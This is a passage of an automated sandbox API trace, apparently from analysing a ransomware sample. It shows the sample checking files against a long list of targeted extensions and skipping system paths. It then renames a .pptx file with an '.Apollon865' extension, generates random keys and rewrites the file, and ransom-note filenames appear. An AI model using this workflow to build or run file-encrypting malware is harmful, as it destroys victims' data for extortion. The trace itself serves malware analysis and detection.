	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1
	[0088.869] lstrlenW (lpString="sqlite") returned 6
	[0088.869] lstrcmpiW (lpString1="D.pptx", lpString2="sqlite") returned -1
	[0088.869] lstrlenW (lpString="sqlite3") returned 7
	[0088.869] lstrcmpiW (lpString1="ZD.pptx", lpString2="sqlite3") returned 1
	[0088.869] lstrlenW (lpString="sqlitedb") returned 8
	[0088.869] lstrcmpiW (lpString1="dZD.pptx", lpString2="sqlitedb") returned -1
	[0088.869] lstrlenW (lpString="xml") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1
	[0088.869] lstrlenW (lpString="$er") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1
	[0088.869] lstrlenW (lpString="4dd") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1
	[0088.869] lstrlenW (lpString="4dl") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1
	[0088.869] lstrlenW (lpString="^^^") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1
	[0088.869] lstrlenW (lpString="abs") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1
	[0088.869] lstrlenW (lpString="abx") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1
	[0088.869] lstrlenW (lpString="accdb") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1
	[0088.869] lstrlenW (lpString="accdc") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1
	[0088.869] lstrlenW (lpString="accde") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1
	[0088.869] lstrlenW (lpString="accdr") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1
	[0088.869] lstrlenW (lpString="accdt") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1
	[0088.869] lstrlenW (lpString="accdw") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1
	[0088.869] lstrlenW (lpString="accft") returned 5
	[0088.869] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1
	[0088.870] lstrlenW (lpString="adb") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0088.870] lstrlenW (lpString="adb") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0088.870] lstrlenW (lpString="ade") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1
	[0088.870] lstrlenW (lpString="adf") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1
	[0088.870] lstrlenW (lpString="adn") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1
	[0088.870] lstrlenW (lpString="adp") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1
	[0088.870] lstrlenW (lpString="alf") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1
	[0088.870] lstrlenW (lpString="ask") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1
	[0088.870] lstrlenW (lpString="btr") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1
	[0088.870] lstrlenW (lpString="cat") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1
	[0088.870] lstrlenW (lpString="cdb") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1
	[0088.870] lstrlenW (lpString="ckp") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1
	[0088.870] lstrlenW (lpString="cma") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1
	[0088.870] lstrlenW (lpString="cpd") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1
	[0088.870] lstrlenW (lpString="dacpac") returned 6
	[0088.870] lstrcmpiW (lpString1="D.pptx", lpString2="dacpac") returned -1
	[0088.870] lstrlenW (lpString="dad") returned 3
	[0088.870] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1
	[0088.870] lstrlenW (lpString="dadiagrams") returned 10
	[0088.870] lstrlenW (lpString="daschema") returned 8
	[0088.870] lstrcmpiW (lpString1="dZD.pptx", lpString2="daschema") returned 1
	[0088.870] lstrlenW (lpString="db-journal") returned 10
	[0088.870] lstrlenW (lpString="db-shm") returned 6
	[0088.870] lstrcmpiW (lpString1="D.pptx", lpString2="db-shm") returned -1
	[0088.871] lstrlenW (lpString="db-wal") returned 6
	[0088.871] lstrcmpiW (lpString1="D.pptx", lpString2="db-wal") returned -1
	[0088.871] lstrlenW (lpString="dbc") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1
	[0088.871] lstrlenW (lpString="dbs") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1
	[0088.871] lstrlenW (lpString="dbt") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1
	[0088.871] lstrlenW (lpString="dbv") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1
	[0088.871] lstrlenW (lpString="dbx") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1
	[0088.871] lstrlenW (lpString="dcb") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1
	[0088.871] lstrlenW (lpString="dct") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1
	[0088.871] lstrlenW (lpString="dcx") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1
	[0088.871] lstrlenW (lpString="ddl") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1
	[0088.871] lstrlenW (lpString="dlis") returned 4
	[0088.871] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1
	[0088.871] lstrlenW (lpString="dp1") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1
	[0088.871] lstrlenW (lpString="dqy") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1
	[0088.871] lstrlenW (lpString="dsk") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1
	[0088.871] lstrlenW (lpString="dsn") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1
	[0088.871] lstrlenW (lpString="dtsx") returned 4
	[0088.871] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1
	[0088.871] lstrlenW (lpString="dxl") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1
	[0088.871] lstrlenW (lpString="eco") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1
	[0088.871] lstrlenW (lpString="ecx") returned 3
	[0088.871] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1
	[0088.872] lstrlenW (lpString="edb") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1
	[0088.872] lstrlenW (lpString="epim") returned 4
	[0088.872] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1
	[0088.872] lstrlenW (lpString="fcd") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1
	[0088.872] lstrlenW (lpString="fdb") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1
	[0088.872] lstrlenW (lpString="fic") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1
	[0088.872] lstrlenW (lpString="flexolibrary") returned 12
	[0088.872] lstrlenW (lpString="fm5") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1
	[0088.872] lstrlenW (lpString="fmp") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1
	[0088.872] lstrlenW (lpString="fmp12") returned 5
	[0088.872] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1
	[0088.872] lstrlenW (lpString="fmpsl") returned 5
	[0088.872] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1
	[0088.872] lstrlenW (lpString="fol") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1
	[0088.872] lstrlenW (lpString="fp3") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1
	[0088.872] lstrlenW (lpString="fp4") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1
	[0088.872] lstrlenW (lpString="fp5") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1
	[0088.872] lstrlenW (lpString="fp7") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fp7") returned 1
	[0088.872] lstrlenW (lpString="fpt") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1
	[0088.872] lstrlenW (lpString="frm") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1
	[0088.872] lstrlenW (lpString="gdb") returned 3
	[0088.872] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0088.872] lstrlenW (lpString="gdb") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0088.873] lstrlenW (lpString="grdb") returned 4
	[0088.873] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1
	[0088.873] lstrlenW (lpString="gwi") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1
	[0088.873] lstrlenW (lpString="hdb") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1
	[0088.873] lstrlenW (lpString="his") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1
	[0088.873] lstrlenW (lpString="ib") returned 2
	[0088.873] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1
	[0088.873] lstrlenW (lpString="idb") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1
	[0088.873] lstrlenW (lpString="ihx") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1
	[0088.873] lstrlenW (lpString="itdb") returned 4
	[0088.873] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1
	[0088.873] lstrlenW (lpString="itw") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1
	[0088.873] lstrlenW (lpString="jet") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1
	[0088.873] lstrlenW (lpString="jtx") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1
	[0088.873] lstrlenW (lpString="kdb") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1
	[0088.873] lstrlenW (lpString="kexi") returned 4
	[0088.873] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1
	[0088.873] lstrlenW (lpString="kexic") returned 5
	[0088.873] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1
	[0088.873] lstrlenW (lpString="kexis") returned 5
	[0088.873] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1
	[0088.873] lstrlenW (lpString="lgc") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1
	[0088.873] lstrlenW (lpString="lwx") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1
	[0088.873] lstrlenW (lpString="maf") returned 3
	[0088.873] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1
	[0088.873] lstrlenW (lpString="maq") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1
	[0088.874] lstrlenW (lpString="mar") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1
	[0088.874] lstrlenW (lpString="marshal") returned 7
	[0088.874] lstrcmpiW (lpString1="ZD.pptx", lpString2="marshal") returned 1
	[0088.874] lstrlenW (lpString="mas") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1
	[0088.874] lstrlenW (lpString="mav") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1
	[0088.874] lstrlenW (lpString="maw") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1
	[0088.874] lstrlenW (lpString="mdbhtml") returned 7
	[0088.874] lstrcmpiW (lpString1="ZD.pptx", lpString2="mdbhtml") returned 1
	[0088.874] lstrlenW (lpString="mdn") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1
	[0088.874] lstrlenW (lpString="mdt") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1
	[0088.874] lstrlenW (lpString="mfd") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1
	[0088.874] lstrlenW (lpString="mpd") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1
	[0088.874] lstrlenW (lpString="mrg") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1
	[0088.874] lstrlenW (lpString="mud") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1
	[0088.874] lstrlenW (lpString="mwb") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1
	[0088.874] lstrlenW (lpString="myd") returned 3
	[0088.874] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1
	[0088.874] lstrlenW (lpString="ndf") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1
	[0088.875] lstrlenW (lpString="nnt") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1
	[0088.875] lstrlenW (lpString="nrmlib") returned 6
	[0088.875] lstrcmpiW (lpString1="D.pptx", lpString2="nrmlib") returned -1
	[0088.875] lstrlenW (lpString="ns2") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1
	[0088.875] lstrlenW (lpString="ns3") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1
	[0088.875] lstrlenW (lpString="ns4") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1
	[0088.875] lstrlenW (lpString="nsf") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1
	[0088.875] lstrlenW (lpString="nv") returned 2
	[0088.875] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1
	[0088.875] lstrlenW (lpString="nv2") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1
	[0088.875] lstrlenW (lpString="nwdb") returned 4
	[0088.875] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1
	[0088.875] lstrlenW (lpString="nyf") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1
	[0088.875] lstrlenW (lpString="odb") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0088.875] lstrlenW (lpString="odb") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1
	[0088.875] lstrlenW (lpString="oqy") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1
	[0088.875] lstrlenW (lpString="ora") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1
	[0088.875] lstrlenW (lpString="orx") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1
	[0088.875] lstrlenW (lpString="owc") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1
	[0088.875] lstrlenW (lpString="p96") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1
	[0088.875] lstrlenW (lpString="p97") returned 3
	[0088.875] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1
	[0088.875] lstrlenW (lpString="pan") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1
	[0088.876] lstrlenW (lpString="pdb") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1
	[0088.876] lstrlenW (lpString="pdm") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1
	[0088.876] lstrlenW (lpString="pnz") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1
	[0088.876] lstrlenW (lpString="qry") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1
	[0088.876] lstrlenW (lpString="qvd") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1
	[0088.876] lstrlenW (lpString="rbf") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1
	[0088.876] lstrlenW (lpString="rctd") returned 4
	[0088.876] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1
	[0088.876] lstrlenW (lpString="rod") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1
	[0088.876] lstrlenW (lpString="rodx") returned 4
	[0088.876] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1
	[0088.876] lstrlenW (lpString="rpd") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1
	[0088.876] lstrlenW (lpString="rsd") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1
	[0088.876] lstrlenW (lpString="sas7bdat") returned 8
	[0088.876] lstrcmpiW (lpString1="dZD.pptx", lpString2="sas7bdat") returned -1
	[0088.876] lstrlenW (lpString="sbf") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1
	[0088.876] lstrlenW (lpString="scx") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1
	[0088.876] lstrlenW (lpString="sdb") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1
	[0088.876] lstrlenW (lpString="sdc") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1
	[0088.876] lstrlenW (lpString="sdf") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1
	[0088.876] lstrlenW (lpString="sis") returned 3
	[0088.876] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1
	[0088.876] lstrlenW (lpString="spq") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1
	[0088.877] lstrlenW (lpString="te") returned 2
	[0088.877] lstrcmpiW (lpString1="tx", lpString2="te") returned 1
	[0088.877] lstrlenW (lpString="teacher") returned 7
	[0088.877] lstrcmpiW (lpString1="ZD.pptx", lpString2="teacher") returned 1
	[0088.877] lstrlenW (lpString="tmd") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1
	[0088.877] lstrlenW (lpString="tps") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1
	[0088.877] lstrlenW (lpString="trc") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0088.877] lstrlenW (lpString="trc") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1
	[0088.877] lstrlenW (lpString="trm") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1
	[0088.877] lstrlenW (lpString="udb") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1
	[0088.877] lstrlenW (lpString="udl") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="udl") returned -1
	[0088.877] lstrlenW (lpString="usr") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="usr") returned -1
	[0088.877] lstrlenW (lpString="v12") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="v12") returned -1
	[0088.877] lstrlenW (lpString="vis") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="vis") returned -1
	[0088.877] lstrlenW (lpString="vpd") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="vpd") returned -1
	[0088.877] lstrlenW (lpString="vvv") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="vvv") returned -1
	[0088.877] lstrlenW (lpString="wdb") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="wdb") returned -1
	[0088.877] lstrlenW (lpString="wmdb") returned 4
	[0088.877] lstrcmpiW (lpString1="pptx", lpString2="wmdb") returned -1
	[0088.877] lstrlenW (lpString="wrk") returned 3
	[0088.877] lstrcmpiW (lpString1="ptx", lpString2="wrk") returned -1
	[0088.877] lstrlenW (lpString="xdb") returned 3
	[0088.878] lstrcmpiW (lpString1="ptx", lpString2="xdb") returned -1
	[0088.878] lstrlenW (lpString="xld") returned 3
	[0088.878] lstrcmpiW (lpString1="ptx", lpString2="xld") returned -1
	[0088.878] lstrlenW (lpString="xmlff") returned 5
	[0088.878] lstrcmpiW (lpString1=".pptx", lpString2="xmlff") returned -1
	[0088.878] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx.Apollon865") returned 61
	[0088.878] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2tdzd.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2tdzd.pptx.apollon865"), dwFlags=0x1) returned 1
	[0088.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2tdzd.pptx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.880] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=23088) returned 1
	[0088.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.880] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.881] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.881] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.881] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d30, lpName=0x0) returned 0x15c
	[0088.881] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d30) returned 0x100000
	[0088.882] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.883] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.883] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.883] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.884] CloseHandle (hObject=0x15c) returned 1
	[0088.884] CloseHandle (hObject=0x9c) returned 1
	[0088.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.885] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8f9b20, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x751e6050, ftLastAccessTime.dwHighDateTime=0x1d4c962, ftLastWriteTime.dwLowDateTime=0x751e6050, ftLastWriteTime.dwHighDateTime=0x1d4c962, nFileSizeHigh=0x0, nFileSizeLow=0x1a9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4iPcCnFP5z2uji9.ppt", cAlternateFileName="4IPCCN~1.PPT")) returned 1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="Apollon865.txt.exe") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".") returned 1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="..") returned 1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="windows") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="bootmgr") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="temp") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="pagefile.sys") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="boot") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="ids.txt") returned -1
	[0088.885] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="ntuser.dat") returned -1
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="perflogs") returned -1
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2="MSBuild") returned -1
	[0088.886] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
	[0088.886] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2TdZD.pptx") returned 50
	[0088.886] lstrcpyW (in: lpString1=0x119e658, lpString2="4iPcCnFP5z2uji9.ppt" | out: lpString1="4iPcCnFP5z2uji9.ppt") returned="4iPcCnFP5z2uji9.ppt"
	[0088.886] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
	[0088.886] lstrlenW (lpString="Apollon865") returned 10
	[0088.886] lstrcmpiW (lpString1="z2uji9.ppt", lpString2="Apollon865") returned 1
	[0088.886] lstrlenW (lpString=".dll") returned 4
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".dll") returned 1
	[0088.886] lstrlenW (lpString=".lnk") returned 4
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".lnk") returned 1
	[0088.886] lstrlenW (lpString=".ini") returned 4
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".ini") returned 1
	[0088.886] lstrlenW (lpString=".sys") returned 4
	[0088.886] lstrcmpiW (lpString1="4iPcCnFP5z2uji9.ppt", lpString2=".sys") returned 1
	[0088.886] lstrlenW (lpString="4iPcCnFP5z2uji9.ppt") returned 19
